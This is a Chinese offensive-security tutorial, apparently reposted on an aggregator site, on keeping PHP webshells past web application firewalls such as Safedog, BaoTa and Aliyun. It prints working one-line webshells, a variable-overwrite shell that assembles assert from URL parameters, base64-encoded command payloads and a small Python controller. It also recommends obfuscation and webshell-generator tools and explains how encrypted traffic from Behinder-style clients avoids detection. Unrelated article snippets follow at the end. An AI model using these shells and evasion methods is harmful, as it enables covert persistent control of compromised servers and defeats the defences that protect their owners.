48 WAF绕过-权限控制之代码混淆及行为造轮子

目录

    • Safedog代码层手写及脚本绕过
    • BT Aliyun代码层手写及脚本绕过
    • safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层
    • Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层
    • Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层
    • 涉及资源:

在这里插入图片描述
权限得到之后,我们要做很多事情,比如权限上面的读文件、写文件、查看相关的东西,如果对方有部署WAF的话,也会对这些东西进行拦截,那么它拦截的层面也不是单纯的一个方面

网站后门跟我们的杀毒软件一样的,一个文件下载到本地之后,杀毒软件会对它进行检测,就是有没有病毒,有没有木马,除了这些之外,如果这个文件没有行为上的敏感,比如这个文件打开之后,要获取到什么东西、得到什么东西,这个时候杀毒软件也会有相应的拦截和警告,监控到这个程序有进行异常的敏感操作,那么同样waf这个产品在市面上也会达到这个功效,它能监控到后门有没有进行后续的敏感操作,那么这些敏感操作它也会进行拦截,同样的代码要做的操作也会受到监控,所以我们绕过是要从多方面去考虑这个问题的,我们称之为代码绕过和行为绕过

实现我们要确保后门代码不要被查杀到,认定为后门,其实就是你代码要做的事情,比如进行文件读取,文件操作,这个操作也会对waf进行监控,这个操作也要进行相应的绕过,才能实现最终的目的,因为我们最终的目的是通过后门达到文件读取、文件执行这些操作,而且这些操作,你也一定要进行绕过,这个就是真正意义上的绕过

代码有区分各种脚本类型,脚本语言开发环境的一些常见后门,你还要熟悉各种语言上面的东西

比如我们使用菜刀去连接后门,即使是你没有行为上的动作,代码也是一个很正常的代码,免杀的代码,是它检测不到的代码,由于你用到的工具是菜刀,菜刀它上面有些特征,waf上面有记录这些特征,它也会对它进行拦截,所以它不仅有代码还有行为工具的特征,如果你使用工具去连接后门的话,那么同样也会受到工具上的限制,权限控制要想实现真正意义上的绕过,是多方面的问题,也是我们最直接的一个层面

waf绕过就是不断地去测试,它也没有界面,有没有什么参考的东西,就是不断地测试

不同的脚本绕过WAF的思路是通用的,代码的写法和函数不一样而已,无关紧要

Safedog代码层手写及脚本绕过

变量覆盖,加密混淆,异或生成

我们要先确保代码层面能够绕过,确定之后,我们再做下一步,不是说你代码绕过你就是绕过了,代码只是第一要素

PHP:
<?php @eval($_POST['chopper']);?>
一句话木马:<?php assert($_POST['chopper']);?>

这里为什么不用eval,因为eval被监控的比较厉害,第二个原因eval是自然函数,要调用eval用普通的变量调用不出来,比如说assert我们可以赋值给变量b,然后在以变量b括起来$_POST[‘chopper’]);,然后这个代码能执行,但是如果你用eval赋值给一个变量,然后再写进来就不行,我们选择assert因为它可变化性强,而且它能取得eval关键很敏感的函数

我们利用变量覆盖的思路,就是把原始变量进行覆盖,然后利用参数进行传递

变量覆盖:通过把敏感字符写到访问地址的参数上去,waf它能够检测代码,但是它无法控制你输入的参数,从而绕过WAF:
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>

可以绕过safedog查杀
在这里插入图片描述

传参:?x=b&y=assert
$a=b  $$a=assert=$b 最终结果是assert($_POST['z']);

我们代码写完之后,还需要确定一下是否能执行,这样才是成功的绕过WAF
在这里插入图片描述

BT Aliyun代码层手写及脚本绕过

编码解码(变量覆盖,加密混淆,异或生成)

现在我们的服务器上启动阿里防火墙和宝塔,我们发现就被拦截了
在这里插入图片描述
我们通过查看宝塔的防护日志,发现是宝塔拦截的,风险值是phpinfo(
在这里插入图片描述
我们可以使用编码解码进行绕过,通过加密的方式进行传输

一句话木马:<br><?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
 
上传成功后,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)
postdata:z=cGhwaW5mbygpOw==

出现结果没有拦截,这个就是命中phpinfo规则,称之为手写的变量覆盖
在这里插入图片描述
除此之外,加密混淆也能达到这个功能,我们使用下面的代码来进行加密混淆,因为宝塔有加密传输,我们必须这样写,最终结果是要放到本地服务器上测试,不是我本地安全狗通过测试就完事了,上面还有阿里云,我们以这个为准

<?php assert(base64_decode($_POST['x']));?>

让代码看上去更加复杂难懂,这些设置可以调节复杂难度
https://github.com/djunny/enphp
在这里插入图片描述
在这里插入图片描述
直接用php.exe执行命令
在这里插入图片描述
代码混淆完之后,就变成这样子了
在这里插入图片描述
安全狗扫描一下,发现正常
在这里插入图片描述
执行非常稳
在这里插入图片描述
工具加密会比较复杂,我们可以使用在线加密:https://www.phpjiami.com/phpjiami.html
它打乱了规则把里面搞成乱码,安全狗就识别不了,而且他们加密是不可逆的,除非有对应代码解密

你没有这些信息是不可能得到这些源代码的
在这里插入图片描述
这里利用接口进行加密
在这里插入图片描述
直接执行,刷新了,没有任何问题,因为加密程度越高的话,它还原不了,还原不了,他就无法确定真实代码,确定不了只能放行,他不能误报,他要准确率的
在这里插入图片描述

safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层

venom:支持生成asp、aspx、jsp、php等一句话免杀木马
地址:https://gitee.com/Dyan_code/webshell-venom?_from=gitee_search
在这里插入图片描述
使用方法:python3 php_venom_3.3.py //生成免杀一句话
python3 php_venom_3.3.py shell.php //对同目录下shell.php进行免杀处理,结果保存到shell.php.bypass.php
在这里插入图片描述
基本上是通杀
在这里插入图片描述
使用说明:
是否传入id参数决定是否把流量编码
http://www.xxx.com/shell.php
POST: mr6=phpinfo(); //与普通shell相同

我不能直接利用无参数传递的,因为我要绕过宝塔

http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo= //payload的base64编码
在这里插入图片描述
这个就是异或生成,利用别人写好的脚本,结合了反序列化,以这种形式的东西来取代关键字字符,从而绕过WAF

这个是针对蚁剑版本的,用它生成的项目可以直接支持蚁剑的连接,蚁剑的后门代码和菜刀的原型代码是一样的,基本上两个都是通用的
https://github.com/yzddmr6/as_webshell_venom
在这里插入图片描述
蚁剑上的加密跟异或加密是一样的,但是原理不清楚,也没什么价值,我们讲的是注重原理上的讲

Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层

我们这里使用蚁剑去连接我们前面上传上去的木马,发现连接失败,因为木马的这个写法和工具自身在工具产生原理上面有问题,所以我们只能采用它原型一句话加密
在这里插入图片描述
这个木马会对响应的内容进行解码,所以我们在蚁剑上要对请求内容进行编码,这样子蚁剑才能连接后门成功
在这里插入图片描述
在这里插入图片描述
这里用菜刀去连接不行,因为菜刀连接不了,没有这个功能

这个是三款工具的优缺点,我们学它的优缺点,就是要知道这些工具的原理和它比较有优势的地方

菜刀,蚁剑,冰蝎优缺点
菜刀: 未更新状态,无插件,单向加密传输,打5分,不建议使用
蚁剑: 更新状态,有插件,拓展性强,单向加密传输,打8分
冰蝎: 更新状态,未知插件,双向加密传输,拓展性强,偏向于后渗透,可以联动msf,打分9分,推荐使用

冰蝎双向加密传输原理:
在这里插入图片描述
菜刀在传输数据的时候,发送你的攻击代码,通过目标服务器返回给你

冰蝎是发送的时候已经加密了,目标服务器返回的代码也是加密的,就是双向加密,这样做的好处在于waf或杀毒软件在判断你行为进程的时候,不识别

我们先用菜刀连接后门
在这里插入图片描述
看一下菜刀的数据包
在这里插入图片描述
我们访问一下数据包,看一下页面信息
在这里插入图片描述
这个结果跟菜刀的页面信息一样,说明返回过来的数据没有加密,这种我们叫单向加密
在这里插入图片描述
我们看一下冰蝎
在这里插入图片描述
看一下双向加密的,请求是加密的,结果是乱码的
在这里插入图片描述
冰蝎在接收到数据本身的时候,再把加密的结果还原成我们看到的东西,这是它的好处,虽然说看上去对WAF拦截没有太大作用,但是至少冰蝎在监控流量,能让对方能够产生错觉,一时半会不知道是什么东西,在APT攻击中是一个很好的隐藏自己的思路,这个设计是比较超前一点,相对于菜刀、蚁剑来讲

在对后门木马进行命名的时候,不要带关键字

Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层

在用冰蝎进行连接的时候,连接成功,但是文件管理看不了在这里插入图片描述
这个是行为上的问题,就是你的代码被拦截,或者说你的行为被监控到了,我们可以更改工具的指纹,但是由于冰蝎是不开源的,不知道它的核心代码怎么样,我们只能自己写轮子,就不用网上这些工具了

第一种是冰蝎被人标记了黑名单,waf有冰蝎的指纹,你发送数据过去,waf就知道你在搞东西;第二个原因,查看文件管理数据包触发到关键词,然后waf拦截了,我猜测是第二种原因,应该是宝塔拦截的

比如我们现在使用菜刀的数据包去查看文件,发现查看不了
在这里插入图片描述
但是我们可以使用自己编写的数据包去查看,然后对请求的内容进行加密
在这里插入图片描述
去访问一下,结果出来了,读取文件绕过了
在这里插入图片描述
我们使用自己的数据包去实现功能,何必去用工具呢,工具是为了显示属性,写了一大堆的乱七八糟的,我们就是看一下有什么文件,单单写这个代码不就好了,因为这个就是你自己写的数据包

我们这边用脚本写一遍新型控制器

import requests
import base64

url=input("请输入你的后门地址:")
password=input("请输入你的后门密码:")

path={
     'z':'dmFyX2R1bXAoc2NhbmRpcignLicpKTs=',
}

result=requests.post(url,data=path).text
print(result)

涉及资源:

enphp:
https://github.com/djunny/enphp
PHP在线加密:
https://www.phpjiami.com/phpjiami.html
as-webshell-venom:https://github.com/yzddmr6/as_webshell_venom
冰蝎(Behinder):https://github.com/rebeyond/Behinder
蚁剑(AntSword):https://github.com/AntSwordProject/antSword
webshell-venom-master:https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/327458.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

添加 自定义校验方法,让用户自定义校验规则

目录 一、前置说明1、总体目录2、相关回顾3、本节目标 二、操作步骤1、项目目录2、代码实现3、测试代码4、日志输出 三、后置说明1、要点小结2、下节准备 一、前置说明 1、总体目录 《 pyparamvalidate 参数校验器&#xff0c;从编码到发布全过程》 2、相关回顾 添加 常用校…

软件设计师4--寻址方式

软件设计师4--寻址方式 考点1&#xff1a;指令的基本概念考点2&#xff1a;寻址方式例题&#xff1a; 考点1&#xff1a;指令的基本概念 一条指令就是机器语言的一个语句&#xff0c;它是一组有意义的二进制代码&#xff0c;指令的基本格式如下&#xff1a; 操作码字段地址码…

SpringCloud全链路灰度发布

日升时奋斗&#xff0c;日落时自省 目录 1、实现框架 2、负载均衡模块 3、封装负载均衡器 4、网关模块 5、服务模块 5.1、注册为灰度服务实例 5.2、设置负载均衡器 5.3、传递灰度标签 1、实现框架 Spring Cloud全链路灰色发布实现构架&#xff1a; 灰度发布的具体实现…

【C++ Primer Plus】2.1 进入C++

代码示例 #include <iostream> // a preprocessor directive 预处理器指令 int main () // function header { // start of function bodyusing namespace std; // make definitions visiblecout << "hello!"; // message…

动态路由综合实验-RIP

一.要求 1、R1--R3地址为192.168.1.0/24:请合理分配 2、R3的环回为3.3.3.0/24&#xff0c;该网段不能在rip中宣告 3、整个网络使用RIPV2&#xff0c;全网可达&#xff0c;路由表汇总&#xff0c;防止环路&#xff0c;保障更新安全&#xff0c;加快收敛速度 网络拓扑结构&…

服务器感染了.DevicData-P-XXXXXXXX勒索病毒,如何确保数据文件完整恢复?

引言&#xff1a; 在当今数字化时代&#xff0c;勒索病毒已成为网络安全威胁的一个严峻问题。其中&#xff0c;.DevicData-P-XXXXXXXX 勒索病毒以其恶意加密文件的手段引起了广泛关注。本文将介绍该病毒的特点、数据恢复方法以及如何预防遭受其攻击。 如不幸感染这个勒索病毒&…

workflow源码解析:ThreadTask

1、使用程序&#xff0c;一个简单的加法运算程序 #include <iostream> #include <workflow/WFTaskFactory.h> #include <errno.h>// 直接定义thread_task三要素 // 一个典型的后端程序由三个部分组成&#xff0c;并且完全独立开发。即&#xff1a;程序协议算…

【机器学习入门】机器学习基础概念与原理

*&#xff08;本篇文章旨在帮助新手了解机器学习的基础概念和原理&#xff0c;不深入讨论算法及核心公式&#xff09; 目录 一、机器学习概念 1、什么是机器学习&#xff1f; 2、常见机器学习算法和模型 3、使用Python编程语言进行机器学习实践 4、机器学习的应用领域 二…

Dokerfile

阅读目录 什么是dockerfile?Dockerfile的基本结构Dockerfile文件说明 什么是dockerfile? Dockerfile是一个包含用于组合映像的命令的文本文档。可以使用在命令行中调用任何命令。 Docker通过读取Dockerfile中的指令自动生成映像。 docker build命令用于从Dockerfile构建映…

Android studio RecyclerView 应用设计

一、创建empty activity项目: 二、打开activity_main.xml布局文件: 添加RecyclerView控件 <?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/…

Spring Boot - Application Events 同步 VS 异步 发布订阅事件实战

文章目录 PreCode基础工程启动类切入口事件 发布事件同步 Listener异步Listener增加EnableAsync增加 Async 测试 Pre Spring Boot - Application Events 的发布顺序_ApplicationStartingEvent Spring Boot - Application Events 的发布顺序_ApplicationEnvironmentPreparedEv…

手机与电脑更改IP地址怎么使用代理IP?

在现代互联网时代&#xff0c;代理IP已成为许多人日常生活和工作中不可或缺的一部分。通过代理IP&#xff0c;用户可以隐藏自己的真实IP地址&#xff0c;并获得更好的网络体验。本文将详细介绍如何在手机和电脑上更改IP地址并使用代理IP。 一、手机使用代理IP 1. 打开手机设置&…

目标检测DETR:End-to-End Object Detection with Transformers

NMS 对一个目标生成了多个检测窗口&#xff0c;但是事实上这些窗口中大部分内容都是重复的&#xff0c;找到目标检测最优的窗口 选取多个检测窗口中分数最高的窗口&#xff0c;剔除掉其他同类型的窗口 anchor generator 首先在该点生成scale512, aspect ratio{1:2&#xff…

第10章 通信业务

文章目录 10.1.1 通信行业1、通信行业的界定2、通信行业的特点 10.1.2 通信企业10.1.3 通信终端1、通信终端的分类2、终端发展趋势 10.2.1 通信业务的定义及分类10.2.2 基础电信业务1、第一类基础电信业务A11 固定通信业务A12 蜂窝移动通信业务A13 第一类卫星通信业务A14 第一类…

uni-app购物车页面详细代码

效果图&#xff1a; 这里的购物车加减用的是uni-app中的sku插件 代码附下&#xff08;全&#xff09;&#xff1a; <script setup lang"ts"> import {reqMemberCartList,reqMemberdelentCart,reqMemberPutCart,putMemberCartSelectedAPI, } from /services/…

go语言初探(一)

package mainimport ("fmt""time" )func main() {fmt.Print("hello go!")time.Sleep(1 * time.Second)}运行后&#xff0c;结果如下&#xff1a; 1、golang表达式中&#xff0c;加&#xff1b;和不加&#xff1b;都可以 2、函数的{和函数名一…

解决com.alibaba.fastjson.JSONException: default constructor not found的问题

1.问题描述 在进行JSON和对象互转时&#xff0c;发现有个报错&#xff1a; com.alibaba.fastjson.JSONException: default constructor not found. class com.hellobike.ph.match.service.taxi.model.message.DelayAddSkuMsg 2.原因和解决方案 通过其提示可以看出在利用fastJ…

【RTOS】快速体验FreeRTOS所有常用API(7)任务通知

目录 七、任务通知7.1 基本概念7.2 发出通知7.3 等待通知7.4 实例 七、任务通知 该部分在上份代码基础上修改得来&#xff0c;代码下载链接&#xff1a; https://wwzr.lanzout.com/i4Efu1la39wh 密码:cbvx 该代码尽量做到最简&#xff0c;不添加多余的、不规范的代码。 内容主要…

白码ERP快速实现库存不足时自动生成采购单功能

创建生产订单时&#xff0c;系统自动根据产品所需物料库存是否充足&#xff0c;如有物料库存不足&#xff0c;自动生成对应的采购订单&#xff1b; 前期准备&#xff1a; 需创建产品、物料、BOM、生产订单、生产订单明细、需求物料、采购订单、采购订单明细数据表&#xff0c…

如何查看centos7中dataease的安装位置

在 CentOS 7 中查找 DataEase 的安装位置&#xff0c;可以通过以下步骤进行&#xff1a; 检查服务状态&#xff1a; 如果 DataEase 作为服务运行&#xff0c;您可以使用 systemctl 命令来查看服务的状态&#xff0c;这通常会显示相关的路径信息。例如&#xff1a; systemctl st…
最新文章